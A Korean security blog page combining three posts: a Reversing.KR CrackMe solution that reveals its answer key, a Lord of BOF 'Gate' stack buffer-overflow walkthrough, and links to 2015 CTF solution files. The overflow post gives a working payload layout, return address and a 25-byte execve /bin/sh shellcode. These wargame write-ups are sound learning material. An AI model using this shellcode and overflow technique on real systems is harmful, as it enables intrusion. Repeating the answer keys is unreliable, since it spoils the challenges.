반응형


정말 심플한 CrackMe 입니다.

디버거로 바로 열어보겠습니다.




ID가 1000인 리소스를 불러옵니다.

아마도 메인 다이얼로그의 TEXT일 겁니다.



리소스해커로 열어보니 1000이 

메인 다이얼로그의 TEXT라는 것을 알 수 있습니다.



IDA의 Hex-Ray로 열어본 사진입니다.

이걸통해 Key값은

KEY: Ea5yR3versing

임을 알 수 있습니다.

'Reversing > Reversing.KR' 카테고리의 다른 글

ReversingKR ImagePrc  (0) 2015.10.22
ReversingKR Replace  (0) 2015.09.22
ReversingKR Easy ELF  (0) 2015.09.20
ReversingKR Easy UnpackMe  (0) 2015.09.12
ReversingKR Easy KeygenMe  (0) 2015.09.11
반응형


LOB의 1번 Gate문제입니다.

소스를 보시면 strcpy로 인해 오버플로우가 남을 알 수 있습니다.



setuid가 걸려있으므로 gdb로 디버깅을 할 수 없으므로

임시폴더로 복사를 해 디버깅 할 수 있습니다.



main의 어셈블리 코드입니다.

처음에는 AT&T 문법이 적용되어 있지만

set disassembly-flavor intel

이라는 명령어를 통해 intel 문법으로 바꿔줄 수 있습니다.


main+54 에 있는 strcpy의 인자를 보시면 ebp-256번째부터 값이 들어가므로

"\x90"*100+ShellCode(25byte)+"A"*131+SFP+RET

이런 형식으로 값을 전달하면 됩니다.

gdb를 통해 버퍼의 주소 값을 알아내 보겠습니다.



argv1 의 값으로 "A"를 넣어주고 실행시켰습니다.

위 그림은 strcpy를 실행한 직후이며

ESP가 지정하고 있는 부분을 덤프한 것입니다.


이로써 Return 주소는 0xbffff918 임을 알 수 있습니다.

결과적으로 PayLoad는


"\x90"*100+ShellCode(25byte)+"A"*135+"\x18\xf9\xff\xbf" 


ShellCode 

\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

이때 주의하실 점은 LOB는 기본으로 bash1을 사용하는데

"\xff"를 NULL로 인식한다는 버그가 있으므로

커멘드로 chsh -s /bin/bash2를 입력해 사용하시길 바랍니다.



'Pwnable > LOB' 카테고리의 다른 글

LOB 6. Wolfman  (0) 2015.09.25
LOB 5. Orc  (0) 2015.09.23
LOB 4. Goblin  (0) 2015.09.20
LOB 3. Cobolt  (0) 2015.09.17
LOB 2. Gremlin  (0) 2015.09.12
반응형


2015년도 순천향대 정보보호 페스티벌 예선 및 본선 문제 풀이 자료입니다.




제 13회 순천향대 예선 풀이.pdf


제 13회 순천향대 본선 풀이.pdf


'CTF' 카테고리의 다른 글

CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19
CodeGate 2016 Junior MICCheck  (0) 2016.03.19
DIMICON Write Up  (0) 2015.11.13
2015 정보보호올림피아드 본선 Q2  (0) 2015.10.18

+ Recent posts